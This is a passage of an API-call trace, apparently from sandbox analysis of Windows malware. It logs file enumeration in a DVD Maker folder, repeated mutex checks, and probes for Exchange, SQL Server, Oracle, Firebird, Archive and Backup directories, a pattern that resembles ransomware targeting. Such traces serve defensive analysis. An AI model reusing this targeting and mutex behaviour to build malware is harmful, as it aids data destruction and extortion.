lpFatTime=0x18eb44) returned 1 [0057.605] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.605] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.605] GlobalUnlock (hMem=0x440004) returned 0 [0057.605] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.605] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.605] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.605] GlobalUnlock (hMem=0x440004) returned 0 [0057.605] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.605] GlobalUnlock (hMem=0x44000c) returned 0 [0057.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.606] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.606] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.606] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.606] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.606] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.606] GlobalUnlock (hMem=0x44000c) returned 0 [0057.606] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.606] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.606] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.606] GlobalUnlock (hMem=0x44000c) returned 0 [0057.606] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.606] GlobalUnlock (hMem=0x440004) returned 0 [0057.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.606] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.606] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.606] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.606] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.606] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.606] GlobalUnlock (hMem=0x440004) returned 0 [0057.606] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.606] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.606] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.606] GlobalUnlock (hMem=0x440004) returned 0 [0057.606] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.606] GlobalUnlock (hMem=0x44000c) returned 0 [0057.606] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.606] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.607] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.607] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.607] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.607] GlobalUnlock (hMem=0x44000c) returned 0 [0057.607] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.607] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.607] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.607] GlobalUnlock (hMem=0x44000c) returned 0 [0057.607] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.607] GlobalUnlock (hMem=0x440004) returned 0 [0057.607] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.607] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.607] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.607] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.607] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.607] GlobalUnlock (hMem=0x440004) returned 0 [0057.607] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.607] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.607] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.607] GlobalUnlock (hMem=0x440004) returned 0 [0057.607] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.607] GlobalUnlock (hMem=0x44000c) returned 0 [0057.607] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.607] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.607] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.607] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.608] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.608] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.608] GlobalUnlock (hMem=0x44000c) returned 0 [0057.608] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.608] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.608] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.608] GlobalUnlock (hMem=0x44000c) returned 0 [0057.608] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.608] GlobalUnlock (hMem=0x440004) returned 0 [0057.608] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.608] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.608] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.608] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.608] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.608] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.608] GlobalUnlock (hMem=0x440004) returned 0 [0057.608] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.608] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.608] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.608] GlobalUnlock (hMem=0x440004) returned 0 [0057.608] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.608] GlobalUnlock (hMem=0x44000c) returned 0 [0057.608] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.608] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0057.608] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.608] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.608] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.608] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.609] GlobalUnlock (hMem=0x44000c) returned 0 [0057.609] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.609] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.609] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.609] GlobalUnlock (hMem=0x44000c) returned 0 [0057.609] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.609] GlobalUnlock (hMem=0x440004) returned 0 [0057.609] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.609] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0057.609] GetLastError () returned 0x12 [0057.609] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.609] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0057.609] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.609] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.609] GlobalLock (hMem=0x440004) returned 0x550170 [0057.609] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.609] GlobalUnlock (hMem=0x440004) returned 0 [0057.609] GlobalLock (hMem=0x440004) returned 0x550170 [0057.609] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.609] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.610] GlobalUnlock (hMem=0x440004) returned 0 [0057.610] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.610] GlobalUnlock (hMem=0x44000c) returned 0 [0057.610] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.610] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.610] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.610] GlobalUnlock (hMem=0x44000c) returned 0 [0057.610] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.610] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.610] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.610] GlobalUnlock (hMem=0x44000c) returned 0 [0057.610] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.610] GlobalUnlock (hMem=0x440004) returned 0 [0057.610] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.610] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full", len=0x30 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned 1 [0057.610] GlobalLock (hMem=0x440004) returned 0x550170 [0057.610] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.610] GlobalUnlock (hMem=0x440004) returned 0 [0057.610] GlobalLock (hMem=0x440004) returned 0x550170 [0057.610] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.610] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.610] GlobalUnlock (hMem=0x440004) returned 0 [0057.610] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.610] GlobalUnlock (hMem=0x44000c) returned 0 [0057.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쁂R쀖R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0057.613] GetLastError () returned 0x3 [0057.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뾴R企@\x18㾤Q\x181")) returned 0xffffffff [0057.615] GetLastError () returned 0x2 [0057.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0057.617] GetLastError () returned 0x2 [0057.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0057.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@俬R企@\x18?T\x18D")) returned 0xffffffff [0057.619] GetLastError () returned 0x2 [0057.619] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뾴R企@\x18몤R\x18j")) returned 0xffffffff [0057.620] GetLastError () returned 0x2 [0057.620] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0057.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@俬R企@\x18?T\x18q")) returned 0xffffffff [0057.622] GetLastError () returned 0x2 [0057.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0057.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0057.624] GetLastError () returned 0x2 [0057.624] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.624] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뾴R企@\x18?T\x18\x81")) returned 0xffffffff [0057.625] GetLastError () returned 0x2 [0057.625] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@俬R企@\x18?T\x18\x88")) returned 0xffffffff [0057.627] GetLastError () returned 0x2 [0057.627] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.627] FindFirstFileW (in: 